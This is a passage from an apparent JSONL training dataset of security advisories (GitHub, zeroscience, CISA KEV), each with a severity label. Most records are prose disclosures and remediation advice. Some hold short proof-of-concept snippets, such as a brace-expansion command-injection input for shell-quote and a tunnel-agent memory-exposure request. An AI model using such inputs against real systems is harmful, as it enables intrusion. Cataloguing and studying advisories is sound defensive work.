Authentication services in their cluster. Both of these changes break this use-case, but given that it's about something that has security requirements high enough to require authentication, it's important to ensure that people are opting in. For the External Auth sidecar case, we are investigating an update to ExtensionService that will help with the sidecar use case.\n\n### Workarounds\nNot easily. It's not possible to control the creation of ExternalName Services with RBAC without the use of Gatekeeper or other form of admission control, and the creation of services is required for Contour to actually work for application developer personas.\n\n### For more information\nExploit code will be published at a later date for this vulnerability, once our users have had a chance to upgrade.", "text_raw": "ExternalName Services can be used to gain access to Envoy's admin interface\n\n[Severity: HIGH]\n\n### Impact\nJosh Ferrell (@josh-ferrell) from VMware has reported that a specially crafted ExternalName type Service may be used to access Envoy's admin interface, which Contour normally prevents from access outside the Envoy container. This can be used to shut down Envoy remotely (a denial of service), or to expose the existence of any Secret that Envoy is using for its configuration, including most notably TLS Keypairs. However, it *cannot* be used to get the *content* of those secrets.\n\nSince this attack allows access to the administration interface, a variety of administration options are available, such as shutting down the Envoy or draining traffic. In general, the Envoy admin interface cannot easily be used for making changes to the cluster, in-flight requests, or backend services, but it could be used to shut down or drain Envoy, change traffic routing, or to retrieve secret metadata, as mentioned above.\n\n### Patches\nThe issue will be addressed in the forthcoming Contour v1.18.0 and a patch release, v1.17.1, has been released in the meantime.\n\nIt is addressed in two ways:\n- disabling ExternalName type Services by default\n- When ExternalName Services are enabled, block obvious \"localhost\" entries.\n\n#### Disable ExternalName type Services by default\n\nThis change prohibits processing of ExternalName services unless the cluster operator specifically allows them using the new `--enable-externalname` flag or equivalent configuration file setting. This is a breaking change for previous versions of Contour, which is unfortunate, but necessary because of the severity of the information exposed in this advisory.\n\n\n#### Block obvious `localhost` entries for enabled ExternalName Services\n\nAs part of this change set, we have added a filter in the event that operators *do* enable ExternalName Services, such that obvious `localhost` entries are rejected by Contour.\n\nThere are a number of problems with this method, however:\n- This is a porous control. As long as you control a domain name, it's trivially easy to add a DNS entry for any name you like that redirects to `127.0.0.1` or `::1`. Contour even provides `local.projectcontour.io` ourselves for testing and example purposes. (This name is, of course, included in the \"obvious localhost entries\" list.) So we can never totally stop this exploit as long as the admin interface is accessible on localhost, which, according to envoyproxy/envoy#2763, will be for some time if not forever. The best we can do is block some obvious elements, but this is always a risk for a motivated attacker.\n- We've actually suggested using `localhost` ExternalName Services in the past, to allow people to connect to sidecar External Authentication services in their cluster. Both of these changes break this use-case, but given that it's about something that has security requirements high enough to require authentication, it's important to ensure that people are opting in. For the External Auth sidecar case, we are investigating an update to ExtensionService that will help with the sidecar use case.\n\n### Workarounds\nNot easily. It's not possible to control the creation of ExternalName Services with RBAC without the use of Gatekeeper or other form of admission control, and the creation of services is required for Contour to actually work for application developer personas.\n\n### For more information\nExploit code will be published at a later date for this vulnerability, once our users have had a chance to upgrade.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "2fabd7bf9adc6cae874c", "text": "GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability", "text_raw": "GeniXCMS v0.0.1 Persistent Script Insertion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-03-10", "split": "train"}
-{"id": "5faa904171b79f4502b8", "text": "Prototype Pollution in Dojox\n\nThe Dojox jQuery wrapper `jqMix` mixin method is vulnerable to Prototype Pollution.\n\nAffected Area:\n```\n//https://github.com/dojo/dojox/blob/master/jq.js#L442\n\t\tvar tobj = {};\n\t\tfor(var x in props){\n\t\t\t// the \"tobj\" condition avoid copying properties in \"props\"\n\t\t\t// inherited from Object.prototype.  For example, if obj has a custom\n\t\t\t// toString() method, don't overwrite it with the toString() method\n\t\t\t// that props inherited from Object.prototype\n\t\t\tif((tobj[x] === undefined || tobj[x] != props[x]) && props[x] !== undefined && obj != props[x]){\n\t\t\t\tif(dojo.isObject(obj[x]) && dojo.isObject(props[x])){\n\t\t\t\t\tif(dojo.isArray(props[x])){\n\t\t\t\t\t\tobj[x] = props[x];\n\t\t\t\t\t}else{\n\t\t\t\t\t\tobj[x] = jqMix(obj[x], props[x]);\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tobj[x] = props[x];\n\t\t\t\t}\n```", "text_raw": "Prototype Pollution in Dojox\n\n[Severity: LOW]\n\nThe Dojox jQuery wrapper `jqMix` mixin method is vulnerable to Prototype Pollution. \n\nAffected Area:\n```\n//https://github.com/dojo/dojox/blob/master/jq.js#L442\n\t\tvar tobj = {};\n\t\tfor(var x in props){\n\t\t\t// the \"tobj\" condition avoid copying properties in \"props\"\n\t\t\t// inherited from Object.prototype.  For example, if obj has a custom\n\t\t\t// toString() method, don't overwrite it with the toString() method\n\t\t\t// that props inherited from Object.prototype\n\t\t\tif((tobj[x] === undefined || tobj[x] != props[x]) && props[x] !== undefined && obj != props[x]){\n\t\t\t\tif(dojo.isObject(obj[x]) && dojo.isObject(props[x])){\n\t\t\t\t\tif(dojo.isArray(props[x])){\n\t\t\t\t\t\tobj[x] = props[x];\n\t\t\t\t\t}else{\n\t\t\t\t\t\tobj[x] = jqMix(obj[x], props[x]);\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tobj[x] = props[x];\n\t\t\t\t}\n```", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-03-10", "split": "train"}
-{"id": "32e943062591b6de0166", "text": "Passing in a non-string 'html' argument can lead to unsanitized output\n\nA type-confusion vulnerability can cause `striptags` to concatenate unsanitized strings when an array-like object is passed in as the `html` parameter. This can be abused by an attacker who can control the shape of their input, e.g. if query parameters are passed directly into the function.\n\n### Impact\n\nXSS\n\n### Patches\n\n`3.2.0`\n\n### Workarounds\n\nEnsure that the `html` parameter is a string before calling the function.", "text_raw": "Passing in a non-string 'html' argument can lead to unsanitized output\n\n[Severity: MEDIUM]\n\nA type-confusion vulnerability can cause `striptags` to concatenate unsanitized strings when an array-like object is passed in as the `html` parameter. This can be abused by an attacker who can control the shape of their input, e.g. if query parameters are passed directly into the function.\n\n### Impact\n\nXSS\n\n### Patches\n\n`3.2.0`\n\n### Workarounds\n\nEnsure that the `html` parameter is a string before calling the function.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "6db9e647452f7a032071", "text": "Consul gem insufficient authentication check - Multiple powers in one controller are not always checked correctly\n\nWith the consul ruby gem before 1.0.3, if a controller checks multiple powers  using `:if` or `:except` conditions, these conditions are erroneously applied to all power checks in that controller. This can lead to skipped power checks and hence unauthenticated access to certain controller actions.", "text_raw": "Consul gem insufficient authentication check - Multiple powers in one controller are not always checked correctly\n\n[Severity: CRITICAL]\n\nWith the consul ruby gem before 1.0.3, if a controller checks multiple powers  using `:if` or `:except` conditions, these conditions are erroneously applied to all power checks in that controller. This can lead to skipped power checks and hence unauthenticated access to certain controller actions.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-09-27", "split": "train"}
-{"id": "fdce5210773687b13e5f", "text": "Infinite open connection causes OctoRPKI to hang forever\n\nOctoRPKI (github.com/cloudflare/cfrpki/cmd/octorpki) does not limit the length of a connection, allowing for a slowloris DOS attack to take place which makes OctoRPKI wait forever. Specifically, the repository that OctoRPKI sends HTTP requests to will keep the connection open for a day before a response is returned, but does keep drip feeding new bytes to keep the connection alive.\n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com", "text_raw": "Infinite open connection causes OctoRPKI to hang forever\n\n[Severity: MEDIUM]\n\nOctoRPKI (github.com/cloudflare/cfrpki/cmd/octorpki) does not limit the length of a connection, allowing for a slowloris DOS attack to take place which makes OctoRPKI wait forever. Specifically, the repository that OctoRPKI sends HTTP requests to will keep the connection open for a day before a response is returned, but does keep drip feeding new bytes to keep the connection alive.\n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "b5f6f629a46705267a9a", "text": "Stored XSS with custom URLs in PrestaShop module ps_linklist\n\n### Impact\nStored XSS when using custom URLs.\n\n### Patches\nThe problem is fixed in 3.1.0\n\n### References\n[Cross-site Scripting (XSS) - Stored (CWE-79)](https://cwe.mitre.org/data/definitions/79.html)", "text_raw": "Stored XSS with custom URLs in PrestaShop module ps_linklist\n\n[Severity: MEDIUM]\n\n### Impact\nStored XSS when using custom URLs.\n\n### Patches\nThe problem is fixed in 3.1.0\n\n### References\n[Cross-site Scripting (XSS) - Stored (CWE-79)](https://cwe.mitre.org/data/definitions/79.html)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "2f86e5794020ec34ace8", "text": "Prototype Pollution in handlebars\n\nVersions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.", "text_raw": "Prototype Pollution in handlebars\n\n[Severity: HIGH]\n\nVersions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.\n\n\n## Recommendation\n\nFor handlebars 4.1.x upgrade to 4.1.2 or later.\nFor handlebars 4.0.x upgrade to 4.0.14 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-05", "split": "train"}
-{"id": "0c8c1bc18369640b0561", "text": "mssql.js is malware\n\nThe `mssql.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "mssql.js is malware\n\n[Severity: HIGH]\n\nThe `mssql.js` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "3876b73f26c3f3bec125", "text": "XSS in client rendered block templates in rendr\n\nAffected versions of `rendr` are vulnerable to cross-site scripting when client side rendering is done inside a `_block`.\n\nServer side rendering is not affected and is properly escaped.\n\n## Recommendation\n\nUpdate to version 1.1.4 or later.", "text_raw": "XSS in client rendered block templates in rendr\n\n[Severity: HIGH]\n\nAffected versions of `rendr` are vulnerable to cross-site scripting when client side rendering is done inside a `_block`.\n\nServer side rendering is not affected and is properly escaped.\n\n\n## Recommendation\n\nUpdate to version 1.1.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "4237b639eea014fd8092", "text": "BQE BillQuick Web Suite SQL Injection Vulnerability\n\nAffected: BQE BillQuick Web Suite\n\nBQE BillQuick Web Suite contains an SQL injection vulnerability when accessing the username parameter that may allow for unauthenticated, remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "BQE BillQuick Web Suite SQL Injection Vulnerability\n\nAffected: BQE BillQuick Web Suite\n\nBQE BillQuick Web Suite contains an SQL injection vulnerability when accessing the username parameter that may allow for unauthenticated, remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "93a599b54005ee95d477", "text": "Improper Verification of Cryptographic Signature in starkbank-ecdsa\n\nThe verify function in the Stark Bank Node.js ECDSA library (ecdsa-node) 1.1.2 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.", "text_raw": "Improper Verification of Cryptographic Signature in starkbank-ecdsa\n\n[Severity: CRITICAL]\n\nThe verify function in the Stark Bank Node.js ECDSA library (ecdsa-node) 1.1.2 fails to check that the signature is non-zero, which allows attackers to forge signatures on arbitrary messages.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "bf68568a32f098cd37f5", "text": "FaceSentry Access Control System 6.4.8 Authentication Credentials MiTM Disclosure", "text_raw": "FaceSentry Access Control System 6.4.8 Authentication Credentials MiTM Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-06-30", "split": "train"}
-{"id": "186319b0f58019aaf429", "text": "Out-of-bounds write in Microsoft.ChakraCore\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1140, CVE-2019-1195, CVE-2019-1196, CVE-2019-1197.", "text_raw": "Out-of-bounds write in Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1139, CVE-2019-1140, CVE-2019-1195, CVE-2019-1196, CVE-2019-1197.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "406df3e6bda83c133fab", "text": "Denial of Service in mqtt\n\nAffected versions of `mqtt` will cause the node process to crash when receiving specially crafted MQTT packets, making the application vulnerable to a denial of service condition.\n\n## Recommendation\n\nUpdate to v1.0.0 or later", "text_raw": "Denial of Service in mqtt\n\n[Severity: HIGH]\n\nAffected versions of `mqtt` will cause the node process to crash when receiving specially crafted MQTT packets, making the application vulnerable to a denial of service condition.\n\n\n\n## Recommendation\n\nUpdate to v1.0.0 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "ffeccc916dee97ad4c5d", "text": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in @nextcloud/dialogs\n\n### Impact\n\nThe Nextcloud dialogs library before 3.1.2 did insufficiently escape text input passed to a toast. If your application displays toasts with user-supplied input, this could lead to a XSS vulnerability.\n\n_Note_: Nextcloud Server employs a strict Content Security Policy that mitigates the risk of these XSS vulnerabilities.\n\n### Patches\n\nThe vulnerability has been patched in version 3.1.2. If you need to display HTML in the toast, explicitly pass the `options.isHTML` config flag.\n\n### Workarounds\n\nMake sure no user-supplied input flows into toasts.", "text_raw": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in @nextcloud/dialogs\n\n[Severity: MEDIUM]\n\n### Impact\n\nThe Nextcloud dialogs library before 3.1.2 did insufficiently escape text input passed to a toast. If your application displays toasts with user-supplied input, this could lead to a XSS vulnerability.\n\n_Note_: Nextcloud Server employs a strict Content Security Policy that mitigates the risk of these XSS vulnerabilities.\n\n### Patches\n\nThe vulnerability has been patched in version 3.1.2. If you need to display HTML in the toast, explicitly pass the `options.isHTML` config flag.\n\n### Workarounds\n\nMake sure no user-supplied input flows into toasts.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-16", "split": "train"}
-{"id": "edac4874871b6b6a2a8a", "text": "Apache Camel allows remote actor to read arbitrary files via external entity in invalid XML string or GenericFile object\n\nMultiple XML external entity (XXE) vulnerabilities in builder/xml/XPathBuilder.java in Apache Camel before 2.13.4 and 2.14.x before 2.14.2 allow remote attackers to read arbitrary files via an external entity in an invalid XML (1) String or (2) GenericFile object in an XPath query.", "text_raw": "Apache Camel allows remote actor to read arbitrary files via external entity in invalid XML string or GenericFile object\n\n[Severity: MEDIUM]\n\nMultiple XML external entity (XXE) vulnerabilities in builder/xml/XPathBuilder.java in Apache Camel before 2.13.4 and 2.14.x before 2.14.2 allow remote attackers to read arbitrary files via an external entity in an invalid XML (1) String or (2) GenericFile object in an XPath query.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "54036f47c4a925760b34", "text": "CMSLogik 1.2.1 (user param) User Enumeration Weakness", "text_raw": "CMSLogik 1.2.1 (user param) User Enumeration Weakness\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2013-04-14", "split": "train"}
-{"id": "9473642d58edf390d7d3", "text": "Transaction validity oversight in pallet-ethereum\n\n### Impact\n\nA bug in `pallet-ethereum` can cause invalid transactions to be included in the Ethereum block state in `pallet-ethereum` due to not validating the input data size. Any invalid transactions included this way have no possibility to alter the internal Ethereum or Substrate state. The transaction will appear to have be included, but is of no effect as it is rejected by the EVM engine. The impact is further limited by Substrate extrinsic size constraints.\n\n### Patches\n\nPatches are applied in PR #465.\n\n### Workarounds\n\nNone.\n\n### References\n\nPatch PR: https://github.com/paritytech/frontier/pull/465\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Frontier repo](https://github.com/paritytech/frontier)", "text_raw": "Transaction validity oversight in pallet-ethereum\n\n[Severity: MEDIUM]\n\n### Impact\n\nA bug in `pallet-ethereum` can cause invalid transactions to be included in the Ethereum block state in `pallet-ethereum` due to not validating the input data size. Any invalid transactions included this way have no possibility to alter the internal Ethereum or Substrate state. The transaction will appear to have be included, but is of no effect as it is rejected by the EVM engine. The impact is further limited by Substrate extrinsic size constraints.\n\n### Patches\n\nPatches are applied in PR #465.\n\n### Workarounds\n\nNone.\n\n### References\n\nPatch PR: https://github.com/paritytech/frontier/pull/465\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Frontier repo](https://github.com/paritytech/frontier)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "199fba3b8069770dd258", "text": "Malicious Package in buffer-xoz\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffer-xoz\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4bdc80bdf9a076989fa4", "text": "Authorization service vulnerable to DDos attacks in Apache CFX\n\nCXF supports (via JwtRequestCodeFilter) passing OAuth 2 parameters via a JWT token as opposed to query parameters (see: The OAuth 2.0 Authorization Framework: JWT Secured Authorization Request (JAR)). Instead of sending a JWT token as a \"request\" parameter, the spec also supports specifying a URI from which to retrieve a JWT token from via the \"request_uri\" parameter. CXF was not validating the \"request_uri\" parameter (apart from ensuring it uses \"https) and was making a REST request to the parameter in the request to retrieve a token. This means that CXF was vulnerable to DDos attacks on the authorization server, as specified in section 10.4.1 of the spec. This issue affects Apache CXF versions prior to 3.4.3; Apache CXF versions prior to 3.3.10.", "text_raw": "Authorization service vulnerable to DDos attacks in Apache CFX\n\n[Severity: HIGH]\n\nCXF supports (via JwtRequestCodeFilter) passing OAuth 2 parameters via a JWT token as opposed to query parameters (see: The OAuth 2.0 Authorization Framework: JWT Secured Authorization Request (JAR)). Instead of sending a JWT token as a \"request\" parameter, the spec also supports specifying a URI from which to retrieve a JWT token from via the \"request_uri\" parameter. CXF was not validating the \"request_uri\" parameter (apart from ensuring it uses \"https) and was making a REST request to the parameter in the request to retrieve a token. This means that CXF was vulnerable to DDos attacks on the authorization server, as specified in section 10.4.1 of the spec. This issue affects Apache CXF versions prior to 3.4.3; Apache CXF versions prior to 3.3.10.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "37eea0b304b3f31a6815", "text": "Command injection in Apache Flink\n\nA vulnerability in Apache Flink where, when running a process with an enabled JMXReporter, with a port configured via metrics.reporter.reporter_name>.port, an attacker with local access to the machine and JMX port can execute a man-in-the-middle attack using a specially crafted request to rebind the JMXRMI registry to one under the attacker's control. This compromises any connection established to the process via JMX, allowing extraction of credentials and any other transferred data.", "text_raw": "Command injection in Apache Flink\n\n[Severity: MEDIUM]\n\nA vulnerability in Apache Flink where, when running a process with an enabled JMXReporter, with a port configured via metrics.reporter.reporter_name>.port, an attacker with local access to the machine and JMX port can execute a man-in-the-middle attack using a specially crafted request to rebind the JMXRMI registry to one under the attacker's control. This compromises any connection established to the process via JMX, allowing extraction of credentials and any other transferred data.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "8127d21aaf174fad93fc", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0912, CVE-2019-0913, CVE-2019-0914, CVE-2019-0915, CVE-2019-0917, CVE-2019-0922, CVE-2019-0923, CVE-2019-0924, CVE-2019-0925, CVE-2019-0927, CVE-2019-0933, CVE-2019-0937.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "edee289cb469d644d40f", "text": "RedCloth Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in the RedCloth library 4.2.9 for Ruby and earlier allows remote attackers to inject arbitrary web script or HTML via a `javascript:` URI.", "text_raw": "RedCloth Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the RedCloth library 4.2.9 for Ruby and earlier allows remote attackers to inject arbitrary web script or HTML via a `javascript:` URI.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "5f60411575f09e550a3e", "text": "Downloads Resources over HTTP in cmake\n\nAffected versions of `cmake` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `cmake`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available, or installing the cmake binaries via a system package manager, such as `apt-get`.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in cmake\n\n[Severity: HIGH]\n\nAffected versions of `cmake` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `cmake`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available, or installing the cmake binaries via a system package manager, such as `apt-get`.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "4deeafff3ddbfc8a1fcf", "text": "Arbitrary Command Injection\n\nThis affects all versions of package wincred. If attacker-controlled user input is given to the getCredential function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "text_raw": "Arbitrary Command Injection\n\n[Severity: CRITICAL]\n\nThis affects all versions of package wincred. If attacker-controlled user input is given to the getCredential function, it is possible for an attacker to execute arbitrary commands. This is due to use of the child_process exec function without input sanitization.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "645c026cd3e6d1532cde", "text": "Out-of-bounds read in Apache Thrift\n\nIn Apache Thrift 0.9.3 to 0.12.0, a server implemented in Go using TJSONProtocol or TSimpleJSONProtocol may panic when feed with invalid input data.", "text_raw": "Out-of-bounds read in Apache Thrift\n\n[Severity: HIGH]\n\nIn Apache Thrift 0.9.3 to 0.12.0, a server implemented in Go using TJSONProtocol or TSimpleJSONProtocol may panic when feed with invalid input data.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "f69375a1811053ab22e5", "text": "Out-of-bounds write in Microsoft.ChakraCore\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1140, CVE-2019-1141, CVE-2019-1195, CVE-2019-1196, CVE-2019-1197.", "text_raw": "Out-of-bounds write in Microsoft.ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1131, CVE-2019-1140, CVE-2019-1141, CVE-2019-1195, CVE-2019-1196, CVE-2019-1197.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "f0f3d35a6dce6ddcf77b", "text": "Validation bypass is possible in Json Pattern Validator\n\nIn jpv (aka Json Pattern Validator) before 2.1.1, compareCommon() can be bypassed because certain internal attributes can be overwritten via a conflicting name, as demonstrated by 'constructor': {'name':'Array'}. This affects validate(). Hence, a crafted payload can overwrite this builtin attribute to manipulate the type detection result.", "text_raw": "Validation bypass is possible in Json Pattern Validator\n\n[Severity: MEDIUM]\n\nIn jpv (aka Json Pattern Validator) before 2.1.1, compareCommon() can be bypassed because certain internal attributes can be overwritten via a conflicting name, as demonstrated by 'constructor': {'name':'Array'}. This affects validate(). Hence, a crafted payload can overwrite this builtin attribute to manipulate the type detection result.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-04", "split": "train"}
-{"id": "c0cb4336dce88a2da428", "text": "Memory Exposure in tunnel-agent\n\nVersions of `tunnel-agent` before 0.6.0 are vulnerable to memory exposure.\n\nThis is exploitable if user supplied input is provided to the auth value and is a number.\n\nProof-of-concept:\n```js\nrequire('request')({\n  method: 'GET',\n  uri: 'http://www.example.com',\n  tunnel: true,\n  proxy:{\n    protocol: 'http:',\n    host:'127.0.0.1',\n    port:8080,\n    auth:USERSUPPLIEDINPUT // number\n  }\n});\n```\n\n## Recommendation\n\nUpdate to version 0.6.0 or later.", "text_raw": "Memory Exposure in tunnel-agent\n\n[Severity: MEDIUM]\n\nVersions of `tunnel-agent` before 0.6.0 are vulnerable to memory exposure.\n\nThis is exploitable if user supplied input is provided to the auth value and is a number.\n\nProof-of-concept:\n```js\nrequire('request')({\n  method: 'GET',\n  uri: 'http://www.example.com',\n  tunnel: true,\n  proxy:{\n    protocol: 'http:',\n    host:'127.0.0.1',\n    port:8080,\n    auth:USERSUPPLIEDINPUT // number\n  }\n});\n```\n\n\n## Recommendation\n\nUpdate to version 0.6.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-03", "split": "train"}
-{"id": "9ff265422064811a3dbe", "text": "Potential Command Injection in shell-quote\n\nAffected versions of `shell-quote` do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.\n\n## Proof of Concept:\n\nThe following characters are not escaped properly: `>`,`;`,`{`,`}`\n\nBash has a neat but not well known feature known as \"Bash Brace Expansion\", wherein a sub-command can be executed without spaces by running it between a set of `{}` and using the `,` instead of ` ` to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.\n\n```\n   const quote = require('shell-quote').quote;\n   console.log(quote(['a;{echo,test,123,234}']));\n   // Actual                    \"a;{echo,test,123,234}\"\n   // Expected                  \"a\\;\\{echo,test,123,234\\}\"\n   // Functional Equivalent     \"a; echo 'test' '123' '1234'\"\n```\n\n## Recommendation\n\nUpdate to version 1.6.1 or later.", "text_raw": "Potential Command Injection in shell-quote\n\n[Severity: CRITICAL]\n\nAffected versions of `shell-quote` do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.\n\n\n\n## Proof of Concept:\n\nThe following characters are not escaped properly: `>`,`;`,`{`,`}`\n\nBash has a neat but not well known feature known as \"Bash Brace Expansion\", wherein a sub-command can be executed without spaces by running it between a set of `{}` and using the `,` instead of ` ` to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible. \n\n```\n   const quote = require('shell-quote').quote;\n   